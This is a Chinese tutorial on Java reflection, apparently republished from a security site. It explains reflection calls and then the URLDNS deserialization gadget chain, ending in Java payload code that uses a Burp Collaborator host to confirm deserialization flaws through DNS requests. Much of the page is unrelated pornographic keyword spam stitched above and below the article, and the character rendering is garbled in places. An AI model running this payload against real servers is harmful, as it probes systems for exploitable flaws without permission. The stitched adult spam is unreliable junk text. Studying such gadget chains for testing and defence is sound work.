精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

實(shí)例解析Java反射,你會(huì)了嗎?

安全 數(shù)據(jù)安全
java的反射是指在運(yùn)行狀態(tài)中,對(duì)于任意一個(gè)類都能夠知道這個(gè)類所有的屬性和方法,并且對(duì)于任意一個(gè)對(duì)象。

反射是大多數(shù)語言里都必不不可少的組成部分,對(duì)象可以通過反射獲取他的類,類可以通過反射拿到所有方法(包括私有),拿到的方法可以調(diào)用,總之通過“反射”,我們可以將Java這種靜態(tài)語言附加上動(dòng)態(tài)特性。

什么是反射

java的反射是指在運(yùn)行狀態(tài)中,對(duì)于任意一個(gè)類都能夠知道這個(gè)類所有的屬性和方法,并且對(duì)于任意一個(gè)對(duì)象。

基本形式

public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}

上面的例子中,我演示了幾個(gè)在反射里極為重要的方法:獲取類的方法: forName實(shí)例例化類對(duì)象的方法: newInstance獲取函數(shù)的方法: getMethod執(zhí)行函數(shù)的方法: invoke。

反射的作用:

讓Java具有動(dòng)態(tài)性,修改已有對(duì)象的屬性,動(dòng)態(tài)生成對(duì)象,動(dòng)態(tài)調(diào)用方法,操作內(nèi)部類和私有方法。

在反序列化漏洞中的應(yīng)用

定制需要的對(duì)象,通過invoke調(diào)用除了同名函數(shù)以外的函數(shù),通過class類創(chuàng)建對(duì)象,引入不能序列化的類。

java反射舉例

此處引用白日夢(mèng)組長(zhǎng)的例子,具體講解一下反射。

先寫一個(gè)Person作為我們下面演示的原型類。

public class Person {
private String name;
public int age;

public void act(){
System.out.println("test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}
}

獲取原型類

使用forName方法:

Class c = Class.forName("Person");

在此也寫一種基于ClassLoader的動(dòng)態(tài)類加載方式。

this.getClass().getClassLoader().loadClass("Person");

從原型class里面實(shí)例化對(duì)象

利用構(gòu)造函數(shù)實(shí)例化。

Constructor constructor = c.getConstructor(String.class,int.class);
Person p1 = (Person) constructor.newInstance("abc",22);

我們來逐行寫一下分析:

Constructor constructor = c.getConstructor(String.class,int.class);
這一行是為了獲取原型類中重載的構(gòu)造方法
public Person(String name, int age) {
this.name = name;
this.age = age;
}

對(duì)構(gòu)造方法進(jìn)行傳參實(shí)例化一個(gè)對(duì)象
Person p1 = (Person) constructor.newInstance("abc",22);
我們可以打印一下p1看一下返回結(jié)果

img

獲取類里面的屬性

private String name;
public int age;

public

Field ageField = c.getField("age");
ageField.set(p1,11);

img

private

Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(p1,"xinyuan");

img

獲取類方法

Method actmethod = c.getMethod("act",String.class);
actmethod.invoke(p1,"SKyMirror");

getMethod 與上面的獲取構(gòu)造函數(shù)類似,第一個(gè)參數(shù)是函數(shù)名,第二個(gè)是傳參的類型。

invoke方法第一個(gè)傳入對(duì)象,第二個(gè)是傳入?yún)?shù)值。

img

利用URLDNS(反射)

這條鏈子算是反射的一個(gè)簡(jiǎn)單應(yīng)用。

利用點(diǎn)

URL這個(gè)類重寫了hashCode方法,導(dǎo)致在執(zhí)行hashCode的時(shí)候,此利用點(diǎn)不能命令執(zhí)行,但是會(huì)請(qǐng)求DNS,所以被用來驗(yàn)證是否存在反序列化漏洞。

源碼如下:

img

img

可以看到當(dāng)我們調(diào)用一次hashCode方法,他會(huì)對(duì)傳進(jìn)去的URL對(duì)象發(fā)起請(qǐng)求,即我們?nèi)绻NSLOG申請(qǐng)一個(gè)地址,根據(jù)訪問來判斷是否成功執(zhí)行了hashCode方法進(jìn)而判斷是否執(zhí)行了反序列化的操作。

URL這個(gè)類實(shí)現(xiàn)了java.io.Serializable,可以進(jìn)行序列化的操作。

img

因此,在這里我們可以驗(yàn)證一下我們上面的想法。

img

img

鏈子

這個(gè)鏈子也比較短,比較簡(jiǎn)單,主要是利用HashMap來執(zhí)行hashCode方法。

HashMap實(shí)現(xiàn)了Serializable可以序列化,此處注意反序列化時(shí)HashMap的readObject方法。

img

我們跟進(jìn)一下hash方法:

img

key參數(shù)可控,key又是由反序列化的時(shí)候生成的。在HashMap中用put傳入一個(gè)URL的對(duì)象,即可在反序列化的時(shí)候調(diào)用到此方法,從而觸發(fā)整個(gè)鏈子。

有一點(diǎn)需要注意,我們?cè)谛蛄谢臅r(shí)候,進(jìn)行的put傳參會(huì)修改掉傳入的URL對(duì)象的hashCode的值,因?yàn)閔ashCode值不等于-1,從而導(dǎo)致無法正常觸發(fā)下面的方法,即無法觸發(fā)DNS請(qǐng)求。

img

同時(shí)在正常put傳參的時(shí)候會(huì)執(zhí)行一次DNS請(qǐng)求,所以我們?cè)趐ut傳參之前修改hashCode的值(不為-1就行),傳參之后修改hashCode為-1,在反序列化的時(shí)候就可以正常執(zhí)行了。

payload如下:

public static void main(String[] args) throws Exception{
HashMap <URL,Integer> hashMap = new HashMap<>();
URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");
Class c = u.getClass();
//在進(jìn)行put方法傳參之前修改URL對(duì)象的hashCode值
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(u,123);

hashMap.put(u,123);
//修改URL對(duì)象的hashCode值為-1
hashcodeField.set(u,-1);
serialize(hashMap);
}

責(zé)任編輯:武曉燕 來源: FreeBuf.COM
相關(guān)推薦

2024-01-18 09:38:00

Java注解JDK5

2023-06-26 13:08:52

GraphQL服務(wù)數(shù)據(jù)

2022-08-29 08:05:44

Go類型JSON

2024-11-08 08:56:01

2023-12-27 07:31:45

json產(chǎn)品場(chǎng)景

2024-10-11 09:15:33

2025-01-02 10:02:44

2024-02-05 13:52:30

?Thread對(duì)象強(qiáng)引用

2024-01-19 08:25:38

死鎖Java通信

2024-10-09 07:40:43

2022-12-22 08:14:54

2024-09-06 07:29:05

2022-05-06 08:26:32

JavaSPI機(jī)制

2025-01-14 08:32:55

JWT令牌.NET

2024-04-01 08:29:09

Git核心實(shí)例

2024-07-31 08:26:47

2024-10-21 07:05:14

C#特性語言

2023-01-28 09:50:17

java多線程代碼

2022-04-01 08:23:17

InputstreString字符串

2023-07-26 13:11:21

ChatGPT平臺(tái)工具
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

亚洲视频重口味| 中文字幕天天干| 色欲久久久天天天综合网 | 亚洲精品美女在线| 国产视频一区二区三区在线播放| av在线三区| 国产精品99久久久久久似苏梦涵| 久久久久这里只有精品| 成人免费av片| 在线免费观看亚洲| 香蕉成人伊视频在线观看| 日本视频精品一区| 国产aⅴ爽av久久久久成人| 国产亚洲精品久久久久婷婷瑜伽| 中国日韩欧美久久久久久久久| 欧美日韩理论片| 电影网一区二区| 亚洲少妇30p| 欧美久久久久久久| 性一交一乱一伧老太| 日本中文字幕一区二区有限公司| 欧美乱人伦中文字幕在线| av女人的天堂| youjizz亚洲| 欧美三级日韩在线| 欧美s码亚洲码精品m码| 在线免费观看的av| 国产精品青草久久| 欧美精品国产精品久久久| 亚洲成人中文字幕在线| 久草精品在线观看| 国产成人福利网站| 日本熟妇色xxxxx日本免费看| 五月天久久777| 国产午夜精品一区理论片飘花| 艳妇乳肉豪妇荡乳xxx| 国产精品免费精品自在线观看| 一本久道久久综合中文字幕 | 999视频在线免费观看| 久草热在线观看| 久久av在线| 69视频在线免费观看| 精品无码m3u8在线观看| 一区二区蜜桃| 精品久久久999| 99在线视频免费| 亚洲精品一级二级三级| 国产视频久久久| 欧美大喷水吹潮合集在线观看| 日韩一区二区三区色| 91精品蜜臀在线一区尤物| 中文字幕av专区| 91超碰碰碰碰久久久久久综合| 一本色道亚洲精品aⅴ| 18禁男女爽爽爽午夜网站免费| 操人在线观看| 日韩欧美视频一区二区三区| 欧美韩国日本在线| 久久r热视频| 色婷婷av一区二区三区gif | 国模无码国产精品视频| 中国精品18videos性欧美| 久久久国产在线视频| 情侣偷拍对白清晰饥渴难耐| 国产精品成人av| 欧美不卡视频一区发布| 久久av高潮av无码av喷吹| 国产精品v亚洲精品v日韩精品 | 欧美国产日韩在线观看成人| 欧美成人精品| 98精品在线视频| 性色av免费观看| 奇米777欧美一区二区| 国产日韩欧美在线| 国产极品久久久| 成人激情文学综合网| 久久99精品国产99久久| 国产在线视频网址| 中文字幕在线观看不卡视频| 欧美精品一区二区性色a+v| 亚洲小说区图片| 狠狠操狠狠色综合网| 久久久久久香蕉| 免费成人高清在线视频| 日韩精品一区二区三区swag | 自拍亚洲一区欧美另类| 欧美一区免费观看| 影院欧美亚洲| 国产精品久久久久77777| 亚洲图片小说视频| 成人教育av在线| 日日噜噜噜噜夜夜爽亚洲精品| 免费在线观看av| 亚洲444eee在线观看| 玩弄japan白嫩少妇hd| 96视频在线观看欧美| 亚洲国产婷婷香蕉久久久久久| 国产精品无码久久久久一区二区| 99精品视频在线观看免费播放| 欧美国产日韩一区二区在线观看| 黄色片视频免费| 韩日av一区二区| 精品日本一区二区三区在线观看| 中文字幕在线视频区| 亚洲福利视频一区二区| 三年中国国语在线播放免费| 在线播放一区二区精品视频| 一本大道亚洲视频| 国产第100页| 蜜桃91丨九色丨蝌蚪91桃色| 国产精品一区二区a| 天天在线视频色| 日韩欧美在线播放| 日本黄色大片在线观看| 日韩极品一区| 97成人精品区在线播放| 国产视频在线观看视频| 久久久精品影视| 久久99久久久久久| 成人污版视频| 一区二区三区黄色| 国内免费精品视频| 国产精品亚洲午夜一区二区三区| 日本不卡在线观看| 僵尸再翻生在线观看| 91麻豆精品国产91久久久久久久久 | 欧美成熟毛茸茸复古| av免费在线网站| 欧美日精品一区视频| 一区二区不卡免费视频| 在线观看日韩av电影| 91在线无精精品一区二区| 成人在线观看一区| 色婷婷精品久久二区二区蜜臂av | 国产成人免费视频网站视频社区 | 中文字幕被公侵犯的漂亮人妻| 欧美视频不卡| 91九色视频在线观看| 视频一区二区三区不卡| 在线观看网站黄不卡| 最新中文字幕视频| 国产日韩视频| 久久综合久久久| www成人免费观看| 精品99999| 久久久久亚洲天堂| 粉嫩av一区二区三区在线播放 | 成人在线免费看片| 7777精品伊人久久久大香线蕉| www.99热| 蜜桃久久久久久久| 一区二区视频在线免费| 日日夜夜亚洲精品| zzijzzij亚洲日本成熟少妇| 欧美 亚洲 另类 激情 另类 | 亚洲精品中文字幕在线| 国产经典一区| 最新日韩中文字幕| 国产又粗又猛视频| 亚洲免费观看高清完整版在线 | 成人av网站免费| 欧美大片在线播放| 亚洲精品亚洲人成在线观看| 国产成人久久久精品一区| 国产一级在线观看| 欧美日本在线观看| avove在线播放| 成人性生交大合| 日本在线xxx| 国语产色综合| 成人午夜两性视频| 欧美男男video| 亚洲精品中文字幕av| 午夜精品久久久久久久蜜桃| 国产精品欧美极品| 国产人妻精品久久久久野外| 亚洲二区精品| 日本一区二区在线| 亚洲网站三级| 久久久久久中文字幕| 欧美日韩国产中文字幕在线| 欧美性感一类影片在线播放| 欧美成人一二三区| 91女厕偷拍女厕偷拍高清| 91n.com在线观看| 中出一区二区| 欧美国产一二三区| 成人免费91| 97av在线视频| 夜级特黄日本大片_在线| 四虎永久精品在线| 欧美激情在线一区二区三区| 黄色小视频免费网站| 女主播福利一区| 欧美日韩一区二区视频在线观看| 久久亚洲精品中文字幕| 国内精品久久久久久久久| 不卡在线视频| 精品久久久久久久久久久久包黑料| 天堂中文在线网| 亚洲嫩草精品久久| 国产精品无码久久久久一区二区| 狠狠狠色丁香婷婷综合激情 | 亚欧成人精品| 好色先生视频污| 天堂av一区二区三区在线播放| 国产在线日韩在线| 成人性生活av| 色综合色综合久久综合频道88| 黄网站在线观看| 亚洲成色999久久网站| 国产精品福利电影| 日韩欧美第一页| 久久久久亚洲av成人片| 国产精品女上位| 亚洲黄色在线网站| 国产传媒欧美日韩成人| 高清av免费看| 石原莉奈一区二区三区在线观看| 97超碰国产精品| 国产精品久久久久久久免费观看| 精品免费视频123区| 久久99成人| 91精品久久久久久| 粉嫩一区二区三区| 97**国产露脸精品国产| 99热99re6国产在线播放| 欧美xxxx14xxxxx性爽| 亚洲s色大片| 中文字幕av日韩| 牛牛影视精品影视| 日韩不卡在线观看| 亚洲va欧美va| 91精品免费观看| 国产美女www爽爽爽视频| 欧美色精品天天在线观看视频| 国产欧美一区二区三区在线看蜜臂| 亚洲一二三四久久| 免费在线黄色片| 亚洲免费三区一区二区| caoporn91| 亚洲精品欧美二区三区中文字幕| 一级片手机在线观看| 26uuu亚洲综合色欧美 | 国产精品无码AV| 欧美精品亚洲二区| 国产影视一区二区| 678五月天丁香亚洲综合网| 国产伦精品一区二区三区四区| 欧美在线一区二区三区| 性色av一区二区三区四区| 在线精品视频一区二区| 国产成人麻豆免费观看| 欧美视频精品在线| 这里只有久久精品视频| 91久久精品一区二区二区| 中文字幕免费高清网站| 1区2区3区在线视频| 日韩精品福利网站| 色猫av在线| 一区二区亚洲精品国产| av午夜在线| 久久九九免费视频| free性欧美hd另类精品| 欧美激情精品久久久久久蜜臀| 青草视频在线免费直播| 韩国19禁主播vip福利视频| 国产夫妻在线播放| 欧美做受高潮1| 97成人超碰| 成人在线视频网站| 在线日韩成人| 久久99精品久久久久久青青日本| 亚洲性视频大全| 日韩在线三级| 欧美成人日本| 欧美国产激情视频| 免费xxxx性欧美18vr| 亚洲网中文字幕| 懂色av一区二区三区免费观看| 野花社区视频在线观看| 国产精品国产三级国产有无不卡| 亚洲综合网在线| 亚洲超丰满肉感bbw| 午夜精品一区二| 欧美一区二区视频在线观看| 蜜桃91麻豆精品一二三区| 亚洲人成电影在线| 国产美女av在线| 4388成人网| 涩涩涩久久久成人精品| 国产精品二区二区三区| 亚洲人成亚洲精品| 亚洲精品中文字幕在线| 亚洲高清不卡| 91精品无人成人www| 不卡的av在线播放| 国产精品麻豆免费版现看视频| 亚洲高清视频中文字幕| 最近国语视频在线观看免费播放| 日韩精品一区二区三区swag| 成人精品福利| 久久久免费观看视频| 日韩精品一页| 欧美日韩综合久久| 国产精品hd| 午夜精品在线免费观看| 成人app下载| 91久久国产综合| 色婷婷综合五月| 肥臀熟女一区二区三区| 色一区av在线| 手机av在线| www.成人av.com| 成人激情在线| 久草青青在线观看| 成人免费看视频| 国产suv精品一区二区68| 日本韩国欧美三级| 免费看日韩av| 久久91亚洲精品中文字幕奶水 | 综合激情视频| 91蝌蚪视频在线观看| 不卡一区二区三区四区| 女教师淫辱の教室蜜臀av软件| 欧美日韩免费在线| 丰满人妻一区二区三区免费| www日韩中文字幕在线看| 欧美va在线观看| 久久久久久国产精品一区| 极品日韩av| 亚洲欧美激情一区二区三区| 国产精品成人一区二区艾草 | 91精品欧美一区二区三区综合在| 东凛在线观看| 国产国语刺激对白av不卡| 欧美交a欧美精品喷水| 日韩视频在线视频| 国产成人亚洲综合a∨猫咪 | 亚洲福利视频一区| www夜片内射视频日韩精品成人| www.国产精品一二区| 欧美高清影院| 永久免费精品视频网站| 裸体在线国模精品偷拍| 69xxx免费| 欧美三级日韩在线| 免费黄色在线| 亚洲a∨日韩av高清在线观看| 国产精品97| 永久免费看片在线观看| 亚洲美女偷拍久久| 午夜老司机福利| 欧美激情欧美激情在线五月| 中文字幕一区二区三区日韩精品| 欧洲金发美女大战黑人| 国产精品1区二区.| 久草视频免费在线播放| 亚洲成人精品视频在线观看| www成人免费观看| 欧美人与物videos另类| 视频一区视频二区在线观看| 中文天堂资源在线| 9191成人精品久久| 免费在线中文字幕| 精品日韩电影| 日韩av在线播放中文字幕| 极品蜜桃臀肥臀-x88av| 91.麻豆视频| av伦理在线| 欧美日韩一区二区三区免费| 秋霞成人午夜伦在线观看| 99自拍视频在线| 亚洲成人精品av| 香蕉久久免费电影| 一区二区三区一级片| 成人免费av资源| 黑人精品无码一区二区三区AV| 亚洲性猛交xxxxwww| 久久av网站| 男人日女人bb视频| 国产精品久久免费看| 亚洲精品无amm毛片| 欧美一区二三区| 天天综合精品| 中文字幕一区二区三区乱码不卡| 一本色道久久综合亚洲aⅴ蜜桃 | 欧美牲交a欧美牲交aⅴ免费下载| 久久久久久久久免费| 国产精品久久久久久久一区二区| 欧美极品少妇全裸体| 国产欧美日韩在线观看视频| 涩多多在线观看| 日本高清不卡视频| 在线电影福利片| 日本一区二区久久精品| 国产福利一区二区三区在线视频| 亚洲影院在线播放| 精品自在线视频| 欧美色图一区|